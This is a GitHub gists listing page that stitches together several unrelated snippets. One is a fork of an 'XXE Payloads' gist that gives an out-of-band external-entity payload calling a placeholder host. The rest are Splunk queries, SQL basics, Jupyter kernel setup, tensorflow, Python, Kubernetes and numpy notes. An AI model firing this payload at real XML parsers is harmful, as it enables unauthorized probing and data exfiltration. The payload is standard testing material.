Skip to content

Instantly share code, notes, and snippets.

View questsin's full-sized avatar

Nicholas Manolakos questsin

View GitHub Profile
@questsin
questsin / XXE_payloads
Created March 27, 2020 19:24 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@questsin
questsin / connectHTMLelements_SVG.png
Created March 21, 2019 16:46 — forked from alojzije/connectHTMLelements_SVG.png
Connect two elements / draw a path between two elements with SVG path (using jQuery)
connectHTMLelements_SVG.png
index="iptv_sol_cdn_ats" | stats count by _raw
index="staging" NOT name="*" sourcetype=DownloadSessionEvent | af classfield=status
index=iptv_* index !=*cdn*
| eval diff= (_indextime - _time)/1000
| bin diff bins=20
| eval indextime=strftime(_indextime,"%Y-%m-%d %H:%M:%S")
|eval capturetime=strftime(_time,"%Y-%m-%d %H:%M:%S")
| stats count by index diff
Basic Queries
-- lter your columns
SELECT col1, col2, col3, ... FROM table1 -- lter the rows
WHERE col4 = 1 AND col5 = 2 -- aggregate the data
GROUP by ...
-- limit aggregated data
HAVING count(*) > 1 -- order of the results
ORDER BY col2
Useful keywords for SELECTS:
http://sqlitebrowser.org/
import sqlite3
from sqlite3 import Error
pip install bash_kernel
python -m bash_kernel.install
python setup.py install
python -m sqlite3_kernel.install
http://localhost:8080/#/
$ bin/zeppelin-daemon.sh start
$ bin/zeppelin-daemon.sh stop
@questsin
questsin / tensorflow (ML) (cheat sheet).sh
Created February 20, 2019 18:30
tensorflow (ML) (cheat sheet)
#view the dashboard
tensorboard --logdir=.
#https://ehmatthes.github.io/pcc/cheatsheets/README.html
#$ python --version
name = input("What's your name? ")
print("Hello, " + name + "!")
age = input("How old are you? ")
age = int(age)
pi = input("What's the value of pi? ")
pi = float(pi)
#Kubernetes
# Can run in bear metal or cloud.
# Amazon EKS
#
#Minikube for locahost developer
#Deployments > jobs > services
#Labels, selectors, and namespaces
#Controllers > Nodes > Pods > containers > docker
import numpy as np
np.arange(1,5)
np.linspace(1,5,4)
np.zeros(3)
np.ones(3)
np.random.randn(1000)
arr = np.array([1,2,3])
arr
len(arr)